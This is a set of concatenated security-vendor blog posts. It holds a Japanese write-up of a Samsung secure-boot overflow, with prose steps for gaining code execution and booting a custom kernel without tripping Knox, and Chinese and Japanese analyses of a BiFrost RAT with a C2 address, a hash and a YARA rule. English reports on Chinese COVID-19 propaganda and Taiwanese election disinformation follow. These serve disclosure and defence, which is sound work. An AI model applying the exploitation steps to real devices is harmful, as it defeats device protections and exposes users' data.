For the latest vulnerability research from D39, please follow:

TeamT5 official website: [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

Twitter: [https://twitter.com/TeamT5_Official](https://twitter.com/TeamT5_Official)

BlackHat's Talk: Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot

## D39について

D39は脆弱性研究に注力しており、モバイル、IoTデバイス、LinuxおよびWindowsオペレーティングシステムへの技術的な悪用を含めた、重大なセキュリティ上の欠陥を複数特定しています。私たちが報告した脆弱性は何十種類におよび、SVE（Samsung Vulnerabilities and Exposures）とCVE（Common Vulnerabilities and Exposures）を専門としています。

今月の本題に入る前に、Black Hat USAにTeamT5が再び招待され、来る8月のBlack Hat情報説明会では、当社の脆弱性調査チームであるD39が講演することになりましたのでお知らせします。私たちの研究成果を世界中の研究者やセキュリティ専門家と共有できることを光栄に思うとともに、台湾の脆弱性研究者が世界でより高く評価されることを期待しています。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769445/D39_6-1_6807f98c9b.png)
[Black Hatセッション](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

本記事では、8月に開催されたBlack Hat USAでの講演の一部をご紹介します。

## はじめに

Samsungセキュアブートに複数の脆弱性が見つかり、Samsung Knoxの保護を突破できることが判明しました。ロックされたデバイスから、ユーザーの機密データを取り出すこともできます。影響を受けるSamsung製モバイルフォンGalaxy S8、S9、S10です。これらの脆弱性に対するパッチが、Samsung社から提供されています。

これらの脆弱性の1つでは、攻撃者がGalaxy S8のセキュアブートローダーで任意のコードを実行して、端末にアクセスすることができます。本記事では、USBデバイスを使用して、こういった脆弱性を悪用しS8のセキュアブートローダーを回避し、起動初期段階で任意のコードを実行させる方法について詳しく見ていきましょう。

備考：別のセキュリティ研究チームも同時にこの脆弱性を発見しており、Samsungに報告しています。
ID：SVE-2019-15230（詳細は以下を参照）。

**SVE-2019-15230：ブートローダでの整数がオーバーフローする可能性**
- 重大度：クリティカル
- 影響を受けるバージョン：Exynosチップセットを搭載したN(7.x)、O(8,x)、P(9,0)
- 報告日：2019年8月8日
- 情報開示状況：非公開。
- ブートローダ内における符号付き整数と符号なし整数の型の不一致により、整数のオーバーフローが発生する可能性がある。
- パッチでは、変数の型を符号なし整数に変更することで、整数のオーバーフローを防止している。


## KNOX

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-2_ee457f68cd.png)
[画像のソース](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

スマートフォン市場のリーダーとして君臨するSamsungは、自社のデバイスのセキュリティを確保するため、Android上で様々な保護を実施しており、これはKnoxプラットフォームと呼ばれています。起動時にSamsungはS-boot（セキュアブート）を使用して、保管されている画像のみしか起動できないようにしています。デバイスがカスタムイメージを起動しようとすると、1回だけプログラムできるビットe-fuse（通称Knoxビット）がトリップします（0X0から0X1へと変化）。トラストゾーンアプリ（trustlet）はKnoxビットのトリップを検出次第、機密データの暗号キーを削除し、不正なデータがロックされたデバイスにアクセスできないようにします。

## 脆弱性

Samsung Exynosプロセッサを搭載したスマートフォンは、S-bootと呼ばれる独自のセキュアブートローダーを採用しています。S-bootにはODINモードがあり、ユーザーはこのモードを使うことで、手動でファームウェアをアップグレードすることができます。そのコード内に不備があることから、ODINモードのフラッシュコマンド（オペコード：0x66）は、フラッシュイメージのサイズを正しくチェックすることができず、それによりバッファオーバーフローへとつながります。

ODINモードのflashコマンドは、画像を保存するにあたり一時的なバッファを使用します。Galaxy S8では、バッファは0xC0000000にあり、これはsbootコードセグメント（0xC9000000）のすぐ前に位置しています。システムはサイズが0x1e0000より大きくならないように確認しますが、画像のサイズをチェックするにあたり符号付きで比較するため、ここに回避するためのスキが生まれます。そのため、0x80000000より大きなサイズを指定してバッファをオーバーフローさせれば、最終的にコード、スタック、ヒープなどの後続のセグメントが上書きされます。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-3_8b038e080e.png)

## 弱点の悪用

### コードの実行

S-Bootのコードセグメントをオーバーフローさせることはできますが、実行フローをハイジャックすることはできません。USBレシーバーは受信したデータを直接物理メモリに保持するため、キャッシュラインが無効化されない限り、命令キャッシュに影響を与えることはできないからです。

幸い、MMUフラグがあることから、ヒープセグメントはキャッシュされていません。ヒープセグメントにはいくつかのポインターが格納されており、これらのポインターにはUSB処理中にアクセスすることができます。これらのポインターをNULLバイトで上書きすると、プロセッサは例外をトリガーし、NULLポインターへのアクセス中に例外ハンドラーにトラップされます。ハンドラーは一度も実行されていないため、命令キャッシュにはキャッシュされません。従って、例外ハンドラーも同時に上書きすることで、私たちが作成したシェルコードに引き込んで直接ハイジャックすることができます。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769437/D39_6-4_58c7cc6a95.png)

### カスタムカーネルの起動

スタック、ヒープ、グローバル変数を含めたすべてのランタイムデータが上書きされたため、sbootはこれ以降の起動に失敗します。こういったデータは復旧が困難なため、起動プロセスを再実行する必要があります。

通常、S-bootは、0xC90C7350にある特定の関数テーブル内から複数の関数を呼び出します。s-bootを再実行するためには、これらの関数を再度順次に呼び出す必要があります。関数がヒープやスタックなどのメモリを初期化し、グローバル変数を設定して、最後にカーネルを起動します。しかしながら、これらの関数には2回実行できないSMC呼び出しも含まれています。EL1（例外レベル1）のみを侵害しているので、EL3（例外レベル3）のトラストゾーンを元に戻すことはできません。ですから、SMC呼び出しをNOP命令で上書きしながら、これらのSMC（System Management Controller）呼び出しを無視するために、コードセグメントをオーバーフローさせる必要があります。

すべてのランタイムデータがリセットされた後、オリジナルのカーネルをカスタムカーネルに置き換えます。その後、最後の関数を実行してカスタムカーネルを起動し、**KNOXビットをブローさせることなくルート権限** を取得します。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-5_2f6b6f9ccd.png)

## タイムライン

2019年10月02日 脆弱性を報告
 
2019年10月08日 脆弱性を重複できたことを報告し、パッチノートをリリ

## 付録：Galaxy S10に存在する潜在的な悪用パス

当社の分析によると、この脆弱性はGalaxy S9、Galaxy S10、Galaxy Note 10にも影響を及ぼします。これらの機種の中では、異なるアドレスであったとしても弱点の悪用がトリガーされる可能性があることがわかりました。例えば、Galaxy S10の0x890000000のように、一時バッファが異なるアドレスにある場合でも、悪用される可能性はあります。悪用の完全な流れを説明するために、ファームウェアであるG970FXXU1ASD5を一例として挙げています。

Galaxy S9以降のバージョンでは、セキュアブートにもう一つの機能であるcompressed_downloadが追加されています。この機能は、別のバッファを使用してフラッシュイメージを格納します。しかしながら、初期化中にcompressed_downloadが失敗した場合、通常のダウンロードにフォールバックし、フラッシュイメージの保存にはバッファ（0xC0000000）が使用されます。


![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-6_724f86aa51.png)

S-bootを通常のダウンロードにフォールバックさせるためには、```cd_v3_smp_register```関数を失敗させる必要があります。入れ替えを行ったところ、起動できるコアがない場合に（`booted_cores` > 3）、関数```cd_v3_smp_register```が失敗を返す可能性があることに気づきました。偶然にも、テストコマンドである```smp_boot_test```がUART（Universal Asynchronous Receiver/Transmitter）コンソールにあります。smp_boot_testコマンドはコアを起動し、booted_coresのカウント数を加算します。```smp_boot_test```は起動したコアをすぐにシャットダウンしますが、カウントは復元されませんでした。そのため、ダウンロードモードに入る前に```smp_boot_test``` コマンドを2回以上実行すれば、compressed_download_init が失敗する可能性があります。

UARTデバッグケーブルでUARTコンソールを取得していれば、```smp_boot_test```コマンドを3回呼び出して、```usb```コマンドでダウンロードモードに入ることができます。```compressed_download_init```は失敗し、一時バッファが0xC0000000にフォールバックします。そのため、Galaxy S8の場合と同様に、S10のブートローダ上で任意のコードを実行することが可能になります。

最初は、当社自身でTypeCデバッグケーブルを構築することに成功しました。しかしながら、レジスタ値、TypeCのアクセサリーモード、TypeCのVDMであらゆる値を試してみましたが、RID_523Kを検出するケーブルはまだ見つかっていません。最終的には、デバッグケーブルなしで、**Galaxy S10セキュアブートローダーの任意のコード許可** を得ることができる別の方法を適用しました。

Black Hatで詳しく説明する予定です。お楽しみに。

D39が実施した最新の脆弱性調査については、以下を参照してください。

TeamT5公式ウェブサイト： [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

ツイッター： 
 
[TeamT5](https://twitter.com/TeamT5_Official)
 
[TeamT5 株式会社](https://twitter.com/TeamT5_JP)

BlackHatでのトーク：SamsungのRoot of Trustを破壊 - Samsungのセキュアブートへの悪用

*\*Please noted that this blog post is a shortened version of our analysis. To assess the full version of the analysis, please subscribe our report "Cyber Affairs Biweekly-Update."*

### Key Takeaways

1. China has exerted ever greater influence over the globe since the outbreak of the coronavirus. Over the past three months, TeamT5 has been monitoring how China utilizes its cyber strength and propaganda machine to handle the Covid-19 pandemic.
2. The Chinese authorities have collaborated with telecom firms and tech giants in China, using technologies such as big data to control the public opinion and people's movement. The regime has implemented measures such as digital surveillance, keywords censorship on social media applications, and Health Code System.
3. Moreover, China has also exercised its propaganda machine to shape both domestic and international narrative of the pandemic. The Chinese officials and Chinese state media have utilized various social media platforms, particularly Weibo and Twitter, to disseminate propaganda to Chinese people and foreign audiences. Some Chinese officials have connived and even promoted online conspiracy theory, which claimed China is not the origin of the coronavirus.

### Blurred Lines Between State and Corps: Telecom Surveillance and Health Code System

The Chinese Communist Party (CCP) has collaborated with its national tech giants and telecom firms to implement a series of security measures in the name of containing the coronavirus outbreak.

The regime has elevated its digital control over domestic citizens. In mid-February, China's Ministry of Industry and Information Technology (MIIT) sent a notice to Information and Communications Technology (ICT) service providers, demanding relevant firms to strengthen monitoring and censorship over online public discussion.\[1\] The MIIT also announced the utilization of telecom big data analysis in support of the battle against the coronavirus. \[2\]

As the country tried to resume normal operations, the Chinese authorities launched Health Code System, using big data to monitor citizens' health status and then regulate their movement. The Health Code System is developed by the Ant Financial, an affiliate company of the Chinese Alibaba Group, and Tencent in collaboration with the Chinese authorities.

The system has raised privacy concerns since it connects and integrates databases of government units and private firms, forming a comprehensive surveillance system which contains real name, phone number, ID, address, travel history, health status and contact history. Moreover, only 3 out of 16 Health Code Apps list their user agreement and privacy policy at installation, while others will directly direct users to the registration page to fill out personal information.\[3\] This shows that most of the users' data are collected, processed, and shared without informed consent.

### Strategic Distraction and Positive Propaganda Targeting Domestic Citizens

The authoritarian regime is also in another battle to shape the public opinion about the epidemic. Initially, the Chinese state media employed strategic distraction to mitigate the seriousness of the coronavirus. Before Wuhan Lockdown on January 23, Chinese state media started reporting the Influenza B in the United States.\[4\] The topic "Influenza B outbreak in the US" (美国爆发乙型流感) reached 500 million views and 31,000 discussions on Weibo.\[5\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_1_4fb4158a6a.png)_Figure 1: News report by the China Central Television (CCTV)._

As the number confirmed cases soared in China, the Chinese state media outlets started to spread positive propaganda. For instance, they highly praised the Chinese authorities' handling of the virus by highlighting the rapid construction of Huoshenshan Hospital.\[6\] They also promoted narratives such as "the Chinese people are sacrificing to fight the virus", accompanied by praises from WHO Director General Tedros Adhanom Ghebreyesus.\[7\]\[8\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718736/SR_2_0b7b7f6542.png)_Figure 2: YouTube video by China Global Television Network (CGTN)._

The regime has seized the opportunity to demonstrate the country's strength to contain the virus as well as the advantages of an authoritarian regime. The CCP uses the case to show that its authoritarian governance system is more effective than the liberal democracies when facing a crisis like the Covid-19 pandemic.

### Propaganda, Hoaxes and Conspiracy Theories: From Troublemaker to Global Savior

Although China was widely criticized for its delayed and opaque treatment to the coronavirus outbreak during the initial stage, the regime has backed on its feet to polish its international image after the pandemic seems to have subsided in China.

In particular, Italy, the first G-7 country to join China's Belt and Road Initiative (BRI), became a favorable environment for the regime to launch propaganda. We observed a series of propaganda was launched against Italy.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_3_c2c0ee47d2.png)_Figure 3: The Chinese embassy posted a series of tweets to promote China's medical aids foe Italy, using hashtag #ForzaCinaeItalia_

The campaign is revealed to have boosted by social manipulation, as the hashtag #ForzaCinaeItalia (Go China, go Italy) was promoted by Twitter bot accounts.\[9\]

In another case, since March 15, Chinese state media outlets as well as Chinese diplomats Hua Chunying and Zhao Lijian have promoted a video of Italian chanting "Grazie, Cina!" on their balconies with the Chinese anthem "March of the Volunteers" playing.\[10\] The video was examined by researchers and was claimed to be manufactured.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718737/SR_4_b4d7e95934.png)_Figure 4: Hua Chunying's sharing the video on Twitter._

### "Origin" Propaganda: Conspiracy Theories of Patient Zero

Conspiracy theories of the origin of the coronavirus have emerged across social media platforms as early as January. One of the significant cases is a conspiracy theory claiming that the US military had brought the coronavirus to Wuhan during the 2019 Military World Games.

Starting from March 12, 2020, Zhao Lijian, a deputy director of the Chinese Foreign Ministry's Information Department, has posted a series of tweet to amplify the conspiracy theory on Twitter. In one of his tweets, he shared a video clip of US Centers for Disease Control (CDC) chief Robert Redfield saying some Covid-19 death might have been diagnosed as influenza in the US, using it as evidence that the virus originated in the US.\[11\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_5_2802d4b539.png)_Figure 5: A series of tweets by Zhao Lijian promoting the conspiracy theory, along with articles of "globalresearch.ca". The website often promotes anti-US conspiracy theory._

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_6_2bb97447e7.png)_Figure 6: Global Times reporting the conspiracy theory about US military personnel bringing COVID-19 to China._

Besides the US, Italy is also one of the scapegoats for China's coronavirus origin propaganda. Starting from March 22, multiple Chinese state media outlets have published news article titled "Coronavirus may have existed in Italy since November: local researcher," implying that Italy was the origin of Coronavirus.\[12\]\[13\] They cited the words of the Italian physician Giuseppe Remuzzi in an interview with NPR on March 19 \[14\], using it as statement to prove that China is not the origin of the coronavirus.

Although Remuzzi protested that his words were twisted by China, the narrative has already gone viral.\[15\] The CCTV created a topic "Expert claims the coronavirus may have existed in Italy since November" (专家称疫情去年11月或已在意大利流行), which reached approximately 500 million views and 35,000 discussion posts.

### Conclusion

China's cyber strength and digital influence did not scale down even in the times of the pandemic. Instead, the regime took the opportunity to pose itself as a global leader more capable than the US. We can see that the CCP has well mastered its cyber capabilities and propaganda machine, expanding the regime's control from physical entities to public opinion. Moreover, the CCP has elevated its efforts to shape international opinion through the Twitter platform. We assess that the CCP will have more power of discourse and influence after they learned to conduct propaganda campaign on foreign social media platforms, and every party should be vigilant about it.

### Reference

\[1\] 工业和信息化部办公厅关于做好疫情防控期间信息通信行业网络安全保障工作的通知 (MIIT's Notice on Cybersecurity Practice for Information and Communications Technology (ICT) Service Providers During Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7681785/content.html

\[2\] 工业和信息化部召开媒体通气会 介绍电信大数据分析、支撑服务疫情防控总体情况 (MIIT's Media Briefing on the Utilization of Telecom Big Data Analysis on Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7678438/content.html

\[3\] 健康码的隐私政策还有哪些改进空间？(Room of Improvement on the Health Code System's Privacy Policy)  
https://www.jiemian.com/article/4120372.html

\[4\] 美国暴发40年来最致命流感 已有6600人死亡 (US' Worst Influenza Outbreak in 40 Years, 6600 Americans Killed)  
http://news.sina.com.cn/w/2020-01-22/doc-iihnzhha4088647.shtml

\[5\] https://s.weibo.com/weibo?q=%23美国爆发乙型流感%23&Refer=SWeibo_box

\[6\] CGTN: Time lapse video: Construction of Wuhan Huoshenshan Hospital completed  
https://www.youtube.com/watch?v=53nhErXUd9A

\[7\] 中国人民"正在为全人类作贡献" (Chinese People are Contributing for All Human Kind)  
http://world.people.com.cn/n1/2020/0308/c1002-31622166.html

\[8\] Xinhua Net: China deserves appreciation for efforts, sacrifices in fighting epidemic: WHO chief  
http://www.xinhuanet.com/english/2020-02/16/c_138789289.htm

\[9\] How China unleashed Twitter bots to spread COVID-19 propaganda in Italy  
https://formiche.net/2020/03/china-unleashed-twitter-bots-covid19-propaganda-italy/

\[10\] https://twitter.com/SpokespersonCHN/status/1239041044580188162  
https://twitter.com/zlj517/status/1239112822908276736  
CGTN: Italians play Chinese national anthem to thank China for its aid  
https://www.youtube.com/watch?v=8ZKsA2jbwlk  
CCTV: Italians play Chinese national anthem, chanting "Grazie Cina"  
https://www.facebook.com/watch/?v=201784281098386

\[11\] https://twitter.com/zlj517/status/1238111898828066823

\[12\] Coronavirus may have existed in Italy since November: local researcher  
https://news.cgtn.com/news/2020-03-22/Coronavirus-may-have-existed-in-Italy-since-November-local-researcher-P4i2As2OAg/index.html

\[13\] Italian doctors saw strange pneumonia cases before China's COVID-19 outbreak, report says   
http://www.china.org.cn/world/Off_the_Wire/2020-03/22/content_75845579.htm

\[14\] 'Every Single Individual Must Stay Home': Italy's Coronavirus Surge Strains Hospitals  
https://www.npr.org/2020/03/19/817974987/every-single-individual-must-stay-home-italy-s-coronavirus-deaths-pass-china-s?t=1585131614833

\[15\] Beijing twisted my words on coronavirus's Italian origin, says scientist Giuseppe Remuzzi  
https://www.thetimes.co.uk/article/beijing-twisted-my-words-on-coronaviruss-italian-origin-says-scientist-giuseppe-remuzzi-6twwhkrvn

Special Report: How China Utilizes Its Cyber Strength and Propaganda Machine to Handle the COVID-19 Pandemic

**關鍵字：HUAPI、PLEAD、GhostCat、CVE-2020-1938、Linux、BiFrost、RC4、RAT**

### 前言

TeamT5 近期接獲情資，於台灣某學術網路的圖書館網站上發現存有惡意程式。經過 TeamT5 研究員分析調查發現，該網站系統使用 Tomcat 7.0.73 作為網頁伺服器且開啟 8009 通訊埠，TeamT5 研究員驗證網站具有 Ghostcat（CVE-2020-1938） 漏洞，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715647/Huapi_1_693c241b07.png)
_圖一、Nmap 掃描結果_

駭客利用 Tomcat 網頁伺服器預設開啟的 AJP 服務（預設為 8009 通訊埠），可達到遠端指令執行（Remote Code Execution, RCE）之目的並上傳檔案。於該案例中，駭客疑似透過 Ghostcat 漏洞上傳 BiFrost 惡意程式，使該圖書館系統成為惡意程式下載站（Download Site）。

### 惡意程式分析

該惡意程式（8fd3925dadf37bebcc8844214f2bcd18）於 2020 年 1 月 31 日被上傳至 Virustotal 平台，當時的各家防毒軟體的偵測率並不佳，僅有 6 家防毒軟體能夠有效識別，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715649/Huapi_2_f22974775a.png)
_圖二、惡意程式於一月底上傳至 VirusTotal 且一開始防毒軟體的偵測率並不佳_

TeamT5 取得該惡意後門程式並進行分析，該惡意後門程式檔名為 md.png，但檔案格式為 UNIX ELF 執行檔，推測是利用 PNG 副檔名偽裝在 Tomcat 網站伺服器上，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_3_c26aa8fc03.png)
_圖三、偽裝為 PNG 的 ELF 執行檔_

使用 TeamT5 的 ThreatSonar 惡意威脅鑑識系統可有效辨識出該惡意程式並可以偵測到中繼站 IP 位址（107.191.61.247），詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_4_60a6816101.png)
_圖四、ThreatSonar 偵測畫面_

經過逆向分析，該惡意後門程式具有上傳/下載/列舉/刪除/搬移檔案（File）、執行/結束程序（Process）、開啟/關閉遠端命令列介面程式（Remote Shell）等功能，其中惡意後門程式與中繼站的連線內容會使用修改過的 RC4 演算法進行加密，此專屬特徵可用來辯認出此惡意程式，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_5_9291a10e8d.png)
_圖五、惡意後門程式使用修改後的 RC4 加密演算法_

### 攻擊族群分析

該惡意程式為 Linux 版本的 BiFrost 後門程式，其版本號為 5.0.0.0。根據 TeamT5 長期研究的情資顯示，該惡意程式為中國駭客組織 HUAPI（又名為 PLEAD）慣用的後門程式。HUAPI 駭客組織自 2007 年開始活躍至今，攻擊台灣超過 10 年的時間。TeamT5 觀察到 HUAPI 所開發的惡意程式有時會使用加殼來阻擋研究人員分析，且通常會使用修改後的 RC4 演算法來加密傳輸。HUAPI 長期攻擊政府、高科技、電信或研究智庫單位，根據 TeamT5 的統計結果，超過 5 成的受害單位為政府機關，受害國家包含台灣、美國、日本及南韓，其中針對台灣政府機關進行入侵攻擊的為多。

### 影響與建議

若用戶有使用 Tomcat 服務作為網頁伺服器，且版本為以下之一者：

* Apache Tomcat 9.x < 9.0.31
* Apache Tomcat 8.x < 8.5.51
* Apache Tomcat 7.x < 7.0.100
* Apache Tomcat 6.x

TeamT5 建議需要立即進行版本更新，避免遭到駭客利用 Ghostcat 漏洞進行遠端控制，甚至上傳惡意檔案。

另外，若用戶若遭遇針對性進階持續威脅（Advanced Persistent Threat, APT）時，則需要使用如 TeamT5 的 ThreatSonar 惡意威脅鑑識系統，IT 管理者可以在最短時間內偵測並回應這類的惡意威脅。TeamT5 建議可將下方威脅指標（Indicator of Compromise, IOC）匯入到各式資安設備中偵測與識別威脅。

* 107.191.61.247
* 8fd3925dadf37bebcc8844214f2bcd18
* Yara Rule

 rule RAT_BiFrost_UNIX
 {
 meta:
 description= "HUAPI UNIX BiFrost RAT"
 author = "TeamT5"
 date = "2020-04-15"
 
 strings:
 $hex1 = {25 ?? 00 00 00 85 C0 75 37 8B 45 F0 89 C1 03 4D 08 8B 45 F0 03 45 08 0F B6 10 8B 45 F8 01 C2 B8 FF FF FF FF 21 D0 88 01 8B 45 F0 89 C2 03 55 08 8B 45 F0 03 45 08 0F B6 00 32 45 FD 88 02}
 $hex2 = {8B 45 F0 03 45 08 0F B6 00 30 45 FD 8B 45 F0 89 C1 03 4D 08 8B 45 F8 89 C2 02 55 FD B8 FF FF FF FF 21 D0 88 01}
 
 condition:
 all of them
 }

### 外部參考資料

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938

中國駭客 HUAPI 的惡意後門程式 BiFrost 分析

**キーワード：HUAPI、PLEAD、GhostCat、CVE-2020-1938、Linux、BiFrost、RC4、RAT**

### はじめに

最近、TeamT5は台湾のある学術情報ネットワーク図書館のWebサイトでマルウェアが見つかったという情報を得ました。TeamT5の研究員は分析と調査により、同WebサイトのシステムがTomcat 7.0.73をWebサーバとして使用し、8009番ポートが開放されていることを発見しました。TeamT5の研究員は、WebサイトにGhostcat（CVE-2020-1938）の脆弱性があることを確認しました。詳細は下図のとおりです。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715647/Huapi_1_693c241b07.png)
_図1、Nmapのスキャン結果_

ハッカーは、TomcatのWebサーバにてデフォルトで開放されているAJP（デフォルトは8009番ポート）を利用し、RCE（リモートコード実行, Remote Code Execution）によりファイルをアップロードしていました。このケースの場合、ハッカーは、Ghostcatの脆弱性を利用してマルウェアのBiFrostをアップロードし、図書館のシステムをマルウェアのダウンロードサイト（Download Site）にしていた疑いがあります。

### マルウェア解析

同マルウェア（8fd3925dadf37bebcc8844214f2bcd18）は、2020年1月31日にVirustotalにアップロードされました。当初、各アンチウイルスソフトウェアの検出率は良くなく、効果的に識別していたのは、6社のみでした。詳細は下図のとおりです。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715649/Huapi_2_f22974775a.png)
_図2、1月末にマルウェアをVirusTotalにアップロードしたが、当初アンチウイルスソフトウェアの検出率は良くなかった。_

TeamT5が同バックドア型マルウェアを入手して解析したところ、同バックドア型マルウェアのファイル名は「md.png」だったものの、ファイル形式はUNIX ELFの実行ファイルとなっており、TomcatのWebサーバ上でPNGの拡張子を装っていたものと推測されました。詳細は下図のとおりです。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_3_c26aa8fc03.png)
_図3、PNGを装うELFの実行ファイル_

TeamT5の悪意のある脅威の識別システム「ThreatSonar」は、同マルウェアを効果的に識別し、C&CサーバのIPアドレス（107.191.61.247）を検出できます。詳細は下図のとおりです。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_4_60a6816101.png)
_図4、ThreatSonarの検出画面_

逆解析により、同バックドア型マルウェアには、ファイル（File）のアップロード/ダウンロード/列挙/削除/移動、プロセス（Process）の実行/終了、リモートシェル（Remote Shell）の実行/終了などの機能が備わっており、その内、バックドア型マルウェアとC&Cサーバの接続は変更されたRC4のアルゴリズムで暗号化していることがわかり、この独特な特徴からマルウェアとして識別することができました。詳細は下図のとおりです。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_5_9291a10e8d.png)
_図5、バックドア型マルウェアは変更されたRC4のアルゴリズムで暗号化している_

### 攻撃グループの分析

同マルウェアはLinuxバージョンのBiFrostバックドアで、バージョン番号は5.0.0.0です。TeamT5の長期にわたる研究により、同マルウェアは中国のハッカー組織HUAPI（別名PLEAD）がよく使うバックドアであることがわかりました。ハッカー組織のHUAPIは、2007年から活動を開始し、10年以上台湾に攻撃を仕掛けています。TeamT5は、HUAPIが開発したマルウェアについて、研究員の解析を防ぐためにパッキングされていることがあり、通常は変更されたRC4のアルゴリズムで暗号化して送信されることを確認しました。HUAPIは長期にわたり政府、ハイテク、電気通信、研究、シンクタンク機関を攻撃しており、TeamT5の統計では、被害者の50%以上が政府機関で、台湾、アメリカ、日本、韓国などが被害を受けており、多くの侵入や攻撃が台湾の政府機関を狙ったものであることが確認されました。

### 影響と提案

TomcatのWebサーバを使用しているユーザーで、バージョンが以下の場合：

* Apache Tomcat 9.x < 9.0.31
* Apache Tomcat 8.x < 8.5.51
* Apache Tomcat 7.x < 7.0.100
* Apache Tomcat 6.x

TeamT5は、Ghostcatの脆弱性を利用したハッカーによる遠隔操作および悪意のあるファイルのアップロードを防ぐため、今すぐバージョンアップすることをおすすめしています。

また、APT（Advanced Persistent Threat, 高度で持続的な脅威）に遭遇した場合は、TeamT5の悪意のある脅威の識別システム「ThreatSonar」などを使用する必要があり、それにより、IT管理者は最短時間で検出し、対応することができます。TeamT5は、以下のセキュリティ侵害インジケーター（Indicator of Compromise, IOC）を各情報セキュリティデバイスにインポートし、脅威を検出・識別することをおすすめしています。

* 107.191.61.247
* 8fd3925dadf37bebcc8844214f2bcd18
* Yara Rule

 rule RAT_BiFrost_UNIX
 {
 meta:
 description= "HUAPI UNIX BiFrost RAT"
 author = "TeamT5"
 date = "2020-04-15"
 
 strings:
 $hex1 = {25 ?? 00 00 00 85 C0 75 37 8B 45 F0 89 C1 03 4D 08 8B 45 F0 03 45 08 0F B6 10 8B 45 F8 01 C2 B8 FF FF FF FF 21 D0 88 01 8B 45 F0 89 C2 03 55 08 8B 45 F0 03 45 08 0F B6 00 32 45 FD 88 02}
 $hex2 = {8B 45 F0 03 45 08 0F B6 00 30 45 FD 8B 45 F0 89 C1 03 4D 08 8B 45 F8 89 C2 02 55 FD B8 FF FF FF FF 21 D0 88 01}
 
 condition:
 all of them
 }

### 参考文献

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938

中国のハッカーHUAPIのバックドア型マルウェア「BiFrost」の解析

社群媒體的普及改變了人們吸收資訊的方式，衝擊了原有的選戰型態。2018到2020年，台灣面臨了新形態的選戰威脅，攻擊者利用社群媒體散播大量的假新聞、不實資訊、仇恨言論。這些攻擊就像高傳染力的病毒不僅會觸及所有社群媒體使用者，更會讓他們感染後進一步成為潛在的假消息散播源。

TeamT5 的 Observations on 2020 Taiwanese General Elections 認為：

## 1. 假新聞讓各政黨支持者成為可能的散播源

   假新聞攻擊會利用選民對政治的熱情，使參與討論的選民反而成為散播的節點。

## 2. 假新聞的手法與目標持續地改變

   中選會認為這次選前的假新聞攻擊達到以往不曾有的數量。而除了數量與手法的不同，在選舉過後，相關攻擊並沒有停止，反而轉移了目標。

## 3. 中國持續加大自己的影響力

   從對台機構的新聞網站到各類假帳號、機器人與自發的小粉紅，中國試圖將影響力延伸到台灣的社群媒體。

## 4. 假新聞的攻擊行動被層層外包

   在選舉期間大量的行銷公司與新興媒體成立並散播特定政治訊息，讓真正的攻擊者可以輕易地隱藏於之後。



我們以資安研究員的角度出發，整合過去兩年間 TeamT5 拆解過的選舉假新聞攻擊事件，希望能替下一場民主選舉貢獻心力。

若對本份白皮書有興趣，請填寫表單，我們會以電子郵件的方式寄送。 TeamT5 接下來還會解析中國如何對內與對外利用社群媒體進行資訊的操弄。不想錯過我們接下來發布的報告，請追蹤我們的[Twitter](https://twitter.com/TeamT5_Official)

TeamT5 發布了〈資訊戰白皮書：2020台灣大選觀察〉

The ubiquity of social media has altered the way people consume information, which in turn dramatically changed the way electoral campaigns are run. From the 2018 municipal elections to the 2020 general elections, Taiwan has witnessed the growing threat of disinformation to the citizens. It was observed that many malicious actors utilized social media to disseminate a huge amount of fake news, false information, and hate speech. These disinformation are like highly contagious viruses that will not only affect the people consuming them, but also make them secondary disseminators. We assess that:

## 1. Virus-like disinformation makes everyone on social media both victim and disseminator

   Although public discussion is the cornerstone of a good democratic society, many attacks have used voter enthusiasm to spread on social media. We have observed that many of the voters who participated in the discussion turned out to be the source of dissemination.

## 2. Disinformation continues to evolve in tactics and quantity, as well as expanding its targets

   The Taiwanese Central Election Commission (CEC) stated that the number of disinformation cases before the 2020 elections reached an unprecedented level. In addition to the evolution in quantity and tactics, we observed that the dissemination of disinformation did not stop even after the election, but instead shifted the target.

## 3. China continues to increase its influence

   Apart from news agency promoting the Chinese policies, inauthentic accounts run by bot, and patriotic netizens (A.K.A little pink), China has stepped up its influence on social media platforms to shape narratives.

## 4. Information operations are outsourced, layer-by-layer

   Before the elections, a number of marketing firms and new media were established to spread political messages. We discovered that some of them have connections with certain political parties, implying the layer-by-layer outsourcing of Information Operations by politically motivated actors.

